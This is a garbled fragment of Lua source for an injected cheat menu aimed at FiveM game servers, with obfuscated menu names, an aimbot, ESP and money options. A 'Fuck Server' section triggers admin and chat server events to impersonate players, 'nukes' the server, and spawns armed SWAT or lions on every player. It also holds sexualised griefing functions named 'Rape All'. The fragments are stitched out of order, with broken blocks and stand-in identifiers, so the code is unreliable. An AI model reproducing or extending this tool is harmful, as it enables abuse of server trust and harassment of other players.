outfit.torso_palette = GetPedPaletteVariation(ped, 3)
outfit.torso_texture = GetPedTextureVariation(ped, 3)
outfit.legs_drawable = GetPedDrawableVariation(ped, 4)
outfit.legs_palette = GetPedPaletteVariation(ped, 4)
outfit.legs_texture = GetPedTextureVariation(ped, 4)
outfit.hands_drawable = GetPedDrawableVariation(ped, 5)
outfit.hands_palette = GetPedPaletteVariation(ped, 5)
outfit.hands_texture = GetPedTextureVariation(ped, 5)
outfit.foot_drawable = GetPedDrawableVariation(ped, 6)
outfit.foot_palette = GetPedPaletteVariation(ped, 6)
outfit.foot_texture = GetPedTextureVariation(ped, 6)
outfit.acc1_drawable = GetPedDrawableVariation(ped, 7)
outfit.acc1_palette = GetPedPaletteVariation(ped, 7)
outfit.acc1_texture = GetPedTextureVariation(ped, 7)
outfit.acc2_drawable = GetPedDrawableVariation(ped, 8)
outfit.acc2_palette = GetPedPaletteVariation(ped, 8)
outfit.acc2_texture = GetPedTextureVariation(ped, 8)
outfit.acc3_drawable = GetPedDrawableVariation(ped, 9)
outfit.acc3_palette = GetPedPaletteVariation(ped, 9)
outfit.acc3_texture = GetPedTextureVariation(ped, 9)
return outfit
end
function IsResourceInstalled(name)
local resources = GetResources()
for i = 1, #resources do
if resources[i] == name then
return true
else
return arwet
end
end
end
function StillPassing40.SetMenuFocusBackgroundColor(id, r, g, b, a)
setMenuProperty(id, "menuFocusBackgroundColor", {["r"] = r, ["g"] = g, ["b"] =
b, ["a"] = a or menus[id].menuFocusBackgroundColor.a})
end
end
themecolor = '~b~'
themearrow = "+"
elseif theme == "dark" then
StillPassing40.SetMenuBackgroundColor(id, 0, 153, 255, 255)
StillPassing40.SetTitleBackgroundColor(id, 0, 153, 255, 255)
StillPassing40.SetTitleColor(id, 0, 153, 255, 230)
StillPassing40.SetMenuSubTextColor(id, 255, 255, 255, 230)
StillPassing40.SetMenuFocusColor(id, 40, 40, 40, 255)
StillPassing40.SetFont(id, 1)
StillPassing40.SetMenuX(id, .75)
StillPassing40.SetMenuY(id, .1)
StillPassing40.SetMenuWidth(id, 0.23)-- 0.23
StillPassing40.SetMaxOptionCount(id, 12)-- 10
themecolor = '~y~'
themearrow = "~y~>"
elseif theme == "StillPassing40" then
StillPassing40.SetMenuBackgroundColor(id, 50, 50, 160, 85)
StillPassing40.SetTitleBackgroundColor(id, 92, 255, 0, 255)
StillPassing40.SetTitleColor(id, 92, 212, 249, 170)
StillPassing40.SetMenuSubTextColor(id, 255, 255, 255, 230)
StillPassing40.SetFont(id, 0)
StillPassing40.SetMenuX(id, .75)
StillPassing40.SetMenuY(id, .1)
StillPassing40.SetMenuWidth(id, 0.23)-- 0.23
StillPassing40.SetMaxOptionCount(id, 12)-- 10
themecolor = '~u~'
themearrow = "~y~>"
titleHeight = 0.11 --0.11
titleXOffset = 0.5 -- 0.5
titleYOffset = 0.03 --0.03
titleSpacing = 2 -- 2
buttonHeight = 0.038 --0.038
buttonScale = 0.365 --0.365
buttonTextXOffset = 0.005 --0.005
buttonTextYOffset = 0.005 --0.005
themecolor = '~y~'
themearrow = "~y~>"
elseif theme == "infamous" then
StillPassing40.SetMenuBackgroundColor(id, 38, 38, 38, 255)
StillPassing40.SetTitleBackgroundColor(id, 255, 255, 0, 255)
StillPassing40.SetTitleColor(id, 255, 255, 0, 255)
StillPassing40.SetMenuSubTextColor(id, 255, 255, 0, 255)
StillPassing40.SetMenuFocusBackgroundColor(id, 255, 255, 0, 255)
StillPassing40.SetFont(id, 4)
StillPassing40.SetMenuX(id, .725)
StillPassing40.SetMenuY(id, .1)
StillPassing40.SetMenuWidth(id, 0.25)-- 0.23
StillPassing40.SetMaxOptionCount(id, 13)-- 10
themecolor = "~y~"
themearrow = "~y~>"
end
end
function StillPassing40.InitializeTheme()
for i = 1, #menulist do
StillPassing40.SetTheme(menulist[i], theme)
end
end
callback(currentIndex, selectedIndex)
return arwet
end
if multiplier then
local y = menus[currentMenu].y + titleHeight + buttonHeight +
(buttonHeight * multiplier) - buttonHeight / 2
local backgroundColor = nname
local textColor = nname
local subTextColor = nname
local shadow = arwet
if menus[currentMenu] then
optionCount = optionCount + 1
if isCurrent then
if currentKey == keys.select then
PlaySoundFrontend(-1,
menus[currentMenu].buttonPressedSound.name,
menus[currentMenu].buttonPressedSound.set, true)
debugPrint(buttonText..' button pressed')
return true
elseif currentKey == keys.left or currentKey == keys.right then
PlaySoundFrontend(-1, "NAV_UP_DOWN",
"HUD_FRONTEND_DEFAULT_SOUNDSET", true)
end
end
return arwet
else
debugPrint('Failed to create '..buttonText..' button:
'..tostring(currentMenu)..' menu doesn\'t exist')
return arwet
end
end
-- Texture Handling
Citizen.CreateThread(function()
local p = 1
while true do
if theme == "StillPassing40" then -- static effect for StillPassing40 theme
- https://github.com/esc0rtd3w/illicit-sprx/blob/master/main/illicit/textures.h
if p == 5 then p = 1 else p = p + 1 end
for i = 1, #menulist do
if StillPassing40.IsMenuOpened(menulist[i]) then
StillPassing40.SetTitleBackgroundSprite(menulist[i], 'digitaloverlay', 'static' ..
p) end
end
else -- Base textures
for i = 1, #menulist do
StillPassing40.SetTitleBackgroundSprite(menulist[i], 'mpinventory', 'darts') end
end
Wait(100)
end
end)
Resources = GetResources()
ResourcesToCheck = {
-- ESX
"es_extended", "esx_dmvschool", "esx_policejob", "",
-- VRP
"vrp", "vrp_trucker", "vrp_TruckerJob"
}
Citizen.CreateThread(function()
if mpMessage then ShowMPMessage(startMessage, subMessage, 50) else
ShowInfo(startMessage .. " " .. subMessage) end
-- COMBO BOXES
local currThemeIndex = 1
local selThemeIndex = 1
-- Fixes the Hat starting at index 1 not displaying because its value is 0
if currHatTextureIndex == -1 or currHatTextureIndex == 0 then
currHatTextureIndex = 1
selHatTextureIndex = 1
end
local currPFuncIndex = 1
local selPFuncIndex = 1
local currVFuncIndex = 1
local selVFuncIndex = 1
local currSeatIndex = 1
local selSeatIndex = 1
local currTireIndex = 1
local selTireIndex = 1
local currNoclipSpeedIndex = 1
local selNoclipSpeedIndex = 1
local currForcefieldRadiusIndex = 1
local selForcefieldRadiusIndex = 1
local currFastRunIndex = 1
local selFastRunIndex = 1
local currFastSwimIndex = 1
local selFastSwimIndex = 1
local currObjIndex = 1
local selObjIndex = 1
local currRotationIndex = 3
local selRotationIndex = 3
local currDirectionIndex = 1
local selDirectionIndex = 1
local Outfits = {}
local currClothingIndex = 1
local selClothingIndex = 1
local currGravIndex = 3
local selGravIndex = 3
local currSpeedIndex = 1
local selSpeedIndex = 1
local currAttackTypeIndex = 1
local selAttackTypeIndex = 1
local currESPDistance = 3
local selESPDistance = 3
local currESPRefreshIndex = 1
local selESPRefreshIndex = 1
local currAimbotBoneIndex = 1
local selAimbotBoneIndex = 1
local currSaveLoadIndex1 = 1
local selSaveLoadIndex1 = 1
local currSaveLoadIndex2 = 1
local selSaveLoadIndex2 = 1
local currSaveLoadIndex3 = 1
local selSaveLoadIndex3 = 1
local currSaveLoadIndex4 = 1
local selSaveLoadIndex4 = 1
local currSaveLoadIndex5 = 1
local selSaveLoadIndex5 = 1
local currRadioIndex = 1
local selRadioIndex = 1
local currWeatherIndex = 1
local selWeatherIndex = 1
-- GLOBALS
local TrackedPlayer = nname
local SpectatedPlayer = nname
local FlingedPlayer = nname
local PossessingVeh = arwet
local pvblip = nname
local pvehicle = nname
local pvehicleText = ""
local IsPlayerHost = nname
if NetworkIsHost() then
IsPlayerHost = "~y~Yes"
else
IsPlayerHost = "~y~No"
end
-- TOGGLES
local includeself = true
local Collision = true
local objVisible = true
local PlaceSelf = true
local SpawnInAir = true
local SpawnEngineOn = true
-- TABLES
SpawnedObjects = {}
-- MAIN MENU
StillPassing40.CreateMenu('StillPassing40', menuName .. '' .. version)
StillPassing40.SetSubTitle('StillPassing40', '~s~
StillPassing40')
-- APPEARANCE SUBMENUS
StillPassing40.CreateSubMenu('modifyskintextures', '\
97\112\112\101\97\114\97\110\99\101\10', "Modify Skin Textures")
StillPassing40.CreateSubMenu('modifyhead', 'modifyskintextures', "Available
Drawables")
StillPassing40.CreateSubMenu('skinsmodels', '\
97\112\112\101\97\114\97\110\99\101\10', "Skin Models")
StillPassing40.CreateSubMenu('WeaponCustomization', '\
119\101\97\112\111\110\10', 'Weapon Customization')
StillPassing40.CreateSubMenu('\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', '\
119\101\97\112\111\110\10', 'Spawnar Armas')
StillPassing40.CreateSubMenu('melee', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Melee Weapons')
StillPassing40.CreateSubMenu('pistol', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Armas Indetectaveis')
StillPassing40.CreateSubMenu('smg', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'SMGs / MGs')
StillPassing40.CreateSubMenu('shotgun', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Shotguns')
StillPassing40.CreateSubMenu('assault', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Armas Risco')
StillPassing40.CreateSubMenu('sniper', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Sniper Rifles')
StillPassing40.CreateSubMenu('thrown', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Thrown Weapons')
StillPassing40.CreateSubMenu('heavy', '\
119\101\97\112\111\110\115\112\97\119\110\101\114\10', 'Heavy Weapons')
StillPassing40.CreateSubMenu('secondary_classic', 'vehiclecolors_secondary',
'Classic Colors')
StillPassing40.CreateSubMenu('secondary_matte', 'vehiclecolors_secondary',
'Matte Colors')
StillPassing40.CreateSubMenu('secondary_metal', 'vehiclecolors_secondary',
'Metals')
--fuck server
StillPassing40.CreateSubMenu('\102\117\99\107\115\101\114\118\101\114\10',
'StillPassing40', 'Fuck Server')
StillPassing40.InitializeTheme()
while true do
-- MAIN MENU
if StillPassing40.IsMenuOpened('StillPassing40') then
if StillPassing40.MenuButton('Opcoes Pessoais-Reviver-NoClip', '\
115\101\108\102\10') then
elseif StillPassing40.MenuButton('Jogadores Online', '\
112\108\97\121\101\114\10') then
elseif StillPassing40.MenuButton('Armas-Aimbot-Muniçao', '\
119\101\97\112\111\110\10') then
elseif StillPassing40.MenuButton('Veiculos-Reparar-Tunar', '\
118\101\104\105\99\108\101\10') then
elseif StillPassing40.MenuButton('Skins', '\
97\112\112\101\97\114\97\110\99\101\10') then
elseif StillPassing40.CheckBox("~b~Soco de Shock ~r~NEW", ShockAmmo)
then
ShockAmmo = not ShockAmmo
elseif StillPassing40.CheckBox("~b~Soco Explosivo ~r~NEW",
ExplosiveAmmo) then
ExplosiveAmmo = not ExplosiveAmmo
elseif StillPassing40.MenuButton('~g~Dinheiros ~r~ NEW', '\
109\105\115\99\10') then
elseif StillPassing40.MenuButton('~y~DESMANCHAR CARROS ~r~NOVO',
'policiatiki') then
elseif StillPassing40.Button("~b~ALGEMAR OU DESALGEMAR ~r~NEW") then
vRP.toggleHandcuff()
elseif StillPassing40.Button('~y~Desinjetar') then break
end
end
--Fuck server
elseif StillPassing40.IsMenuOpened('\
102\117\99\107\115\101\114\118\101\114\10') then
if StillPassing40.CheckBox("~s~Include Self", includeself, "No",
"Yes") then
includeself = not includeself
elseif StillPassing40.Button("~s~Fake ~s~Chat Message") then
local eX = KeyboardInput("NAME OF FAKE PLAYER", "", 100) if eX then
local dT = KeyboardInput("Enter message", "", 10000) if dT then
TriggerServerEvent("adminmenu:allowall") TriggerServerEvent("_chat:messageEntered",
eX, {0, 0x99, 255}, dT) end end
elseif StillPassing40.Button("~s~Nuke Server") then
ShowInfo("~y~Fucking Players...")
nukeserver()
elseif StillPassing40.Button("~s~Rape All") then
RapeAllFunc()
elseif StillPassing40.Button("~s~Change ~s~All Nearby Vehicles Plate
Text") then
local plateInput = GetKeyboardInput("Enter Plate Text (8 Characters):")
for k in EnumerateVehicles() do
RequestControlOnce(k)
SetVehicleNumberPlateText(k, plateInput)
end
elseif StillPassing40.CheckBox("~s~Make ~s~All Cars ~p~Fly",
FlyingCars) then
FlyingCars = not FlyingCars
elseif StillPassing40.CheckBox("~s~Set ~s~The World On ~p~Fire",
WorldOnFire) then
WorldOnFire = not WorldOnFire
if WorldOnFire then
wofDUI = CreateDui("https://tinyurl.com/y6e2qu9e", 1, 1)
else
DestroyDui(wofDUI)
end
elseif StillPassing40.Button("~s~Close ~s~The Whole Square") then
x, y, z =
table.unpack(GetEntityCoords(GetPlayerPed(selectedPlayer)))
roundx = tonumber(string.format('%.2f', x))
roundy = tonumber(string.format('%.2f', y))
roundz = tonumber(string.format('%.2f', z))
local e8 = -145066854
RequestModel(e8)
while not HasModelLoaded(e8) do
Citizen.Wait(0)
end
local e9 = CreateObject(e8, 258.91, -933.1, 26.21, true, true,
arwet)
local ea = CreateObject(e8, 200.91, -874.1, 26.21, true, true,
arwet)
local e92 = CreateObject(e8, 126.52, -933.2, 26.21,
true, true, arwet)
local ea2 = CreateObject(e8, 184.52, -991.2, 26.21,
true, true, arwet)
SetEntityHeading(e9, 158.41)
SetEntityHeading(ea, 90.51)
SetEntityHeading(e92, 332.41)
SetEntityHeading(ea2, 260.51)
FreezeEntityPosition(e9, true)
FreezeEntityPosition(ea, true)
FreezeEntityPosition(e92, true)
FreezeEntityPosition(ea2, true)
elseif StillPassing40.Button("~s~SPAWN ~p~Lion ~s~On All Players") then
local mtlion = "A_C_MtLion"
local plist = GetActivePlayers()
for i = 0, #plist do
local co = GetEntityCoords(GetPlayerPed(i))
RequestModel(GetHashKey(mtlion))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey(mtlion)) then
local ped =
CreatePed(21, GetHashKey(mtlion), co.x, co.y, co.z,
0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(i)) then
local ei = PedToNet(ped)
NetworkSetNetworkIdDynamic(ei, arwet)
SetNetworkIdCanMigrate(ei, true)
SetNetworkIdExistsOnAllMachines(ei, true)
Citizen.Wait(50)
NetToPed(ei)
TaskCombatPed(ped, GetPlayerPed(i), 0, 16)
elseif IsEntityDead(GetPlayerPed(i)) then
TaskCombatHatedTargetsInArea(ped, co.x, co.y, co.z,
500)
else
Citizen.Wait(0)
end
end
end
elseif StillPassing40.Button("~s~SPAWN ~p~SWAT ~s~On All Players ")
then
local swat = "s_m_y_swat_01"
local bR = "WEAPON_ASSAULTRIFLE"
local plist = GetActivePlayers()
for i = 0, #plist do
local coo = GetEntityCoords(GetPlayerPed(i))
RequestModel(GetHashKey(swat))
Citizen.Wait(50)
if HasModelLoaded(GetHashKey(swat)) then
local ped =
CreatePed(21, GetHashKey(swat), coo.x - 1, coo.y,
coo.z, 0, true, true)
CreatePed(21, GetHashKey(swat),
coo.x + 1, coo.y, coo.z, 0, true, true)
CreatePed(21, GetHashKey(swat),
coo.x, coo.y - 1, coo.z, 0, true, true)
CreatePed(21, GetHashKey(swat),
coo.x, coo.y + 1, coo.z, 0, true, true)
NetworkRegisterEntityAsNetworked(ped)
if DoesEntityExist(ped) and not
IsEntityDead(GetPlayerPed(i)) then
local ei = PedToNet(ped)
NetworkSetNetworkIdDynamic(ei, arwet)
SetNetworkIdCanMigrate(ei, true)
SetNetworkIdExistsOnAllMachines(ei, true)
GiveWeaponToPed(ped,
GetHashKey(bR), 9999, 1, 1)
SetPedCanSwitchWeapon(ped, true)
NetToPed(ei)
TaskCombatPed(ped, GetPlayerPed(i), 0, 16)
elseif IsEntityDead(GetPlayerPed(i)) then
TaskCombatHatedTargetsInArea(ped, coo.x, coo.y,
coo.z, 500)
else
Citizen.Wait(0)
end
end
end
elseif StillPassing40.Button('~s~Make All Players A Hamburger Head') then
local plist = GetActivePlayers()
for i = 0, #plist do
if IsPedInAnyVehicle(GetPlayerPed(i), true) then
local eb = 'xs_prop_hamburgher_wl'
local ec = -145066854
while not HasModelLoaded(ec) do
Citizen.Wait(0)
RequestModel(ec)
end
local ed = CreateObject(ec, 0, 0, 0, true, true, true)
AttachEntityToEntity(
ed,
GetVehiclePedIsIn(GetPlayerPed(i), arwet),
if wasSpeccing then
Spectating = not Spectating
SpectatePlayer(tmp)
end
end
elseif StillPassing40.ComboBox("Pop Players Vehicle Tire", {"Front Left",
"Front Right", "Back Left", "Back Right", "All"}, currTireIndex, selTireIndex,
function(currentIndex, selClothingIndex)
currTireIndex = currentIndex
selTireIndex = currentIndex
end) then
if not IsPedInAnyVehicle(GetPlayerPed(selectedPlayer), 0) then
ShowInfo("~p~Player Not In Vehicle!")
else
if wasSpeccing then
Spectating = not Spectating
SpectatePlayer(tmp)
end
end
elseif StillPassing40.Button("Slam Players Vehicle") then
if not IsPedInAnyVehicle(GetPlayerPed(selectedPlayer), 0) then
ShowInfo("~p~Player Not In Vehicle!")
else
if wasSpeccing then
Spectating = not Spectating
SpectatePlayer(tmp)
end
end
elseif StillPassing40.ComboBox("Teleport Into Players Vehicle", {"Front
Right", "Back Left", "Back Right"}, currSeatIndex, selSeatIndex,
function(currentIndex, selClothingIndex)
currSeatIndex = currentIndex
selSeatIndex = currentIndex
end) then
if not IsPedInAnyVehicle(GetPlayerPed(selectedPlayer), 0) then
ShowInfo("~p~Player Not In Vehicle!")
else
local confirm = GetKeyboardInput("Are you Sure? ~p~Y~w~/~p~N")
if string.lower(confirm) == "y" then
local veh = GetVehiclePedIsIn(GetPlayerPed(selectedPlayer), 0)
if selSeatIndex == 1 then
if IsVehicleSeatFree(veh, 0) then
SetPedIntoVehicle(PlayerPedId(), veh, 0)
else
ShowInfo("~p~Seat Taken Or Does Not Exist!")
end
elseif selSeatIndex == 2 then
if IsVehicleSeatFree(veh, 1) then
SetPedIntoVehicle(PlayerPedId(), veh, 1)
else
ShowInfo("~p~Seat Taken Or Does Not Exist!")
end
elseif selSeatIndex == 3 then
if IsVehicleSeatFree(veh, 2) then
SetPedIntoVehicle(PlayerPedId(), veh, 2)
else
ShowInfo("~p~Seat Taken Or Does Not Exist!")
end
end
end
end
elseif StillPassing40.CheckBox("Track Player", Tracking, "Tracking:
Nobody", "Tracking: "..GetPlayerName(TrackedPlayer)) then
Tracking = not Tracking
TrackedPlayer = selectedPlayer
elseif StillPassing40.CheckBox("Fling Player", FlingingPlayer, "Flinging:
Nobody", "Flinging: "..GetPlayerName(FlingedPlayer)) then
FlingingPlayer = not FlingingPlayer
FlingedPlayer = selectedPlayer
end
if wasSpeccing then
Spectating = not Spectating
SpectatePlayer(tmp)
end
AttachEntityToEntity(
bH,
GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
arwet,
true,
1,
true
)
elseif StillPassing40.Button('~y~Botar ~s~Carro ~r~NEW') then
local bI = CreateObject(GetHashKey('prop_pipes_conc_02'), 0, 0, 0, true, true,
true)
AttachEntityToEntity(
bI,
GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
arwet,
true,
1,
true
)
elseif StillPassing40.Button('~y~Botar ~s~Pipas ~r~NEW') then
local bJ = CreateObject(GetHashKey('prop_conc_blocks01b'), 0, 0, 0, true,
true, true)
AttachEntityToEntity(
bJ,
GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
arwet,
true,
1,
true
)
elseif StillPassing40.Button('~y~Botar ~s~Torre De Paris ~r~NEW') then
local bJ = CreateObject(GetHashKey('stt_prop_tyre_wall_04'), 0, 0,
0, true, true, true)
AttachEntityToEntity(
bJ,
GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005),
0.4,
0,
0,
0,
270.0,
60.0,
true,
true,
arwet,
true,
1,
true
)
elseif StillPassing40.Button('~y~Comer ~s~Player ~p~DAR UM CLIKE
,CASO SUMIU NAO FLODAR') then
RapePlayer(selectedPlayer)
elseif StillPassing40.Button("Cargo Plane ~r~1 Clique a cada 5 seg
~y~RISCO") then
local ped = GetPlayerPed(selectedPlayer)
local coords = GetEntityCoords(ped)
-- APPEARANCE MENU
elseif StillPassing40.IsMenuOpened('\
97\112\112\101\97\114\97\110\99\101\10') then
if StillPassing40.MenuButton("Skin Troll", 'skinsmodels') then
elseif StillPassing40.Button("~s~Skin ~s~Aleatoria ~g~SAFE") then
RandomClothes(PlayerId())
end
----------------------------------------------------------------------
if GetEntityModel(PlayerPedId()) ~=
GetHashKey("mp_m_freemode_01") then
StillPassing40.CloseMenu()
StillPassing40.OpenMenu('modifyskintextures')
ShowInfo("~p~Only MP Models Supported For
Now!")
end
faceItemsList = GetHeadItems()
faceTexturesList =
GetHeadTextures(GetPedDrawableVariation(PlayerPedId(), 0))
hairItemsList = GetHairItems()
hairTexturesList =
GetHairTextures(GetPedDrawableVariation(PlayerPedId(), 2))
maskItemsList = GetMaskItems()
hatItemsList = GetHatItems()
hatTexturesList = GetHatTextures(GetPedPropIndex(PlayerPedId(),
0))
end
-- Head Menu
elseif StillPassing40.IsMenuOpened('modifyhead') then
if StillPassing40.ComboBoxSlider("Face", faceItemsList,
currFaceIndex, selFaceIndex, function(currentIndex, selectedIndex)
currFaceIndex = currentIndex
selFaceIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 0,
faceItemsList[currentIndex]-1, 0, 0)
faceTexturesList =
GetHeadTextures(faceItemsList[currentIndex]-1)
end) then
--[[ -- I dont think any MP faces have
textures?
elseif StillPassing40.ComboBox2("Face Texture",
faceTexturesList, currFtextureIndex, selFtextureIndex, function(currentIndex,
selectedIndex)
currFtextureIndex = currentIndex
selFtextureIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 0,
faceItemsList[currFaceIndex]-1, faceTexturesList[currentIndex]-1, 0)
end) then
]]
elseif StillPassing40.ComboBoxSlider("Hair", hairItemsList,
currHairIndex, selHairIndex, function(currentIndex, selectedIndex)
previousHairTexture =
GetNumberOfPedTextureVariations(PlayerPedId(), 2,
GetPedDrawableVariation(PlayerPedId(), 2))
previousHairTextureDisplay =
hairTextureList[currHairTextureIndex]
currHairIndex = currentIndex
selHairIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 2,
hairItemsList[currentIndex]-1, 0, 0)
currentHairTexture =
GetNumberOfPedTextureVariations(PlayerPedId(), 2,
GetPedDrawableVariation(PlayerPedId(), 2))
hairTextureList =
GetHairTextures(GetPedDrawableVariation(PlayerPedId(), 2))
end) then
elseif StillPassing40.ComboBox2("Hair Color", hairTextureList,
currHairTextureIndex, selHairTextureIndex, function(currentIndex, selectedIndex)
currHairTextureIndex = currentIndex
selHairTextureIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 2,
hairItemsList[currHairIndex]-1, currentIndex-1, 0)
end) then
elseif StillPassing40.ComboBoxSlider("Mask", maskItemsList,
currMaskIndex, selMaskIndex, function(currentIndex, selectedIndex)
currMaskIndex = currentIndex
selMaskIndex = currentIndex
SetPedComponentVariation(PlayerPedId(), 1,
maskItemsList[currentIndex]-1, 0, 0)
end) then
elseif StillPassing40.ComboBoxSlider("Hat", hatItemsList,
currHatIndex, selHatIndex, function(currentIndex, selectedIndex)
previousHatTexture =
GetNumberOfPedPropTextureVariations(PlayerPedId(), 0,
GetPedPropIndex(PlayerPedId(), 0)) -- Gets the number of props before the hat index
and the prop updates (previous)
end) then
elseif StillPassing40.ComboBox2("Hat Texture",
hatTexturesList, currHatTextureIndex, selHatTextureIndex, function(currentIndex,
selectedIndex)
currHatTextureIndex = currentIndex
selHatTextureIndex = currentIndex
SetPedPropIndex(PlayerPedId(), 0,
GetPedPropIndex(PlayerPedId(), 0), currentIndex, 0)
end) then
end
elseif StillPassing40.IsMenuOpened('WeaponCustomization')
then
if StillPassing40.ComboBox("Weapon Tints", { "Normal", "Green",
"Gold", "Pink", "Army", "LSPD", "Orange", "Platinum" }, currPFuncIndex,
selPFuncIndex, function(currentIndex, selClothingIndex)
currPFuncIndex = currentIndex
selPFuncIndex = currentIndex
end) then
if selPFuncIndex == 1 then
SetPedWeaponTintIndex(PlayerPedId(),
GetSelectedPedWeapon(PlayerPedId()), 0)
-- COMPACTS SPAWNER
elseif StillPassing40.IsMenuOpened('compacts') then
for i = 1, #compacts do
local vehname = GetLabelText(compacts[i])
if vehname == "NULL" then vehname = compacts[i] end -- Avoid
getting NULL (for some reason GetLabelText returns null for some vehs)
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(compacts[i], PlaceSelf, SpawnEngineOn)
end
end
-- SEDANS SPAWNER
elseif StillPassing40.IsMenuOpened('sedans') then
for i = 1, #sedans do
local vehname = GetLabelText(sedans[i])
if vehname == "NULL" then vehname = sedans[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(sedans[i], PlaceSelf, SpawnEngineOn)
end
end
-- SUVs SPAWNER
elseif StillPassing40.IsMenuOpened('suvs') then
for i = 1, #suvs do
local vehname = GetLabelText(suvs[i])
if vehname == "NULL" then vehname = suvs[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(suvs[i], PlaceSelf, SpawnEngineOn)
end
end
-- COUPES SPAWNER
elseif StillPassing40.IsMenuOpened('coupes') then
for i = 1, #coupes do
local vehname = GetLabelText(coupes[i])
if vehname == "NULL" then vehname = coupes[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(coupes[i], PlaceSelf, SpawnEngineOn)
end
end
-- MUSCLE SPAWNER
elseif StillPassing40.IsMenuOpened('muscle') then
for i = 1, #muscle do
local vehname = GetLabelText(muscle[i])
if vehname == "NULL" then vehname = muscle[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(muscle[i], PlaceSelf, SpawnEngineOn)
end
end
-- SPORTSCLASSICS SPAWNER
elseif StillPassing40.IsMenuOpened('sportsclassics') then
for i = 1, #sportsclassics do
local vehname = GetLabelText(sportsclassics[i])
if vehname == "NULL" then vehname = sportsclassics[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(sportsclassics[i], PlaceSelf, SpawnEngineOn)
end
end
-- SPORTS SPAWNER
elseif StillPassing40.IsMenuOpened('sports') then
for i = 1, #sports do
local vehname = GetLabelText(sports[i])
if vehname == "NULL" then vehname = sports[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(sports[i], PlaceSelf, SpawnEngineOn)
end
end
-- SUPER SPAWNER
elseif StillPassing40.IsMenuOpened('super') then
for i = 1, #super do
local vehname = GetLabelText(super[i])
if vehname == "NULL" then vehname = super[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(super[i], PlaceSelf, SpawnEngineOn)
end
end
-- MOTORCYCLES SPAWNER
elseif StillPassing40.IsMenuOpened('motorcycles') then
for i = 1, #motorcycles do
local vehname = GetLabelText(motorcycles[i])
if vehname == "NULL" then vehname = motorcycles[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(motorcycles[i], PlaceSelf, SpawnEngineOn)
end
end
-- OFFROAD SPAWNER
elseif StillPassing40.IsMenuOpened('offroad') then
for i = 1, #offroad do
local vehname = GetLabelText(offroad[i])
if vehname == "NULL" then vehname = offroad[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(offroad[i], PlaceSelf, SpawnEngineOn)
end
end
-- INDUSTRIAL SPAWNER
elseif StillPassing40.IsMenuOpened('industrial') then
for i = 1, #industrial do
local vehname = GetLabelText(industrial[i])
if vehname == "NULL" then vehname = industrial[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(industrial[i], PlaceSelf, SpawnEngineOn)
end
end
-- UTILITY SPAWNER
elseif StillPassing40.IsMenuOpened('utility') then
for i = 1, #utility do
local vehname = GetLabelText(utility[i])
if vehname == "NULL" then vehname = utility[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(utility[i], PlaceSelf, SpawnEngineOn)
end
end
-- VANS SPAWNER
elseif StillPassing40.IsMenuOpened('vans') then
for i = 1, #vans do
local vehname = GetLabelText(vans[i])
if vehname == "NULL" then vehname = vans[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(vans[i], PlaceSelf, SpawnEngineOn)
end
end
-- CYCLES SPAWNER
elseif StillPassing40.IsMenuOpened('cycles') then
for i = 1, #cycles do
local vehname = GetLabelText(cycles[i])
if vehname == "NULL" then vehname = cycles[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(cycles[i], PlaceSelf, SpawnEngineOn)
end
end
-- BOATS SPAWNER
elseif StillPassing40.IsMenuOpened('boats') then
for i = 1, #boats do
local vehname = GetLabelText(boats[i])
if vehname == "NULL" then vehname = boats[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(boats[i], PlaceSelf, SpawnEngineOn)
end
end
-- HELICOPTERS SPAWNER
elseif StillPassing40.IsMenuOpened('helicopters') then
for i = 1, #helicopters do
local vehname = GetLabelText(helicopters[i])
if vehname == "NULL" then vehname = helicopters[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(helicopters[i], PlaceSelf, SpawnEngineOn)
end
end
-- PLANES SPAWNER
elseif StillPassing40.IsMenuOpened('planes') then
for i = 1, #planes do
local vehname = GetLabelText(planes[i])
if vehname == "NULL" then vehname = planes[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnPlane(planes[i], PlaceSelf, SpawnInAir)
end
end
-- SERVICE SPAWNER
elseif StillPassing40.IsMenuOpened('service') then
for i = 1, #service do
local vehname = GetLabelText(service[i])
if vehname == "NULL" then vehname = service[i] end
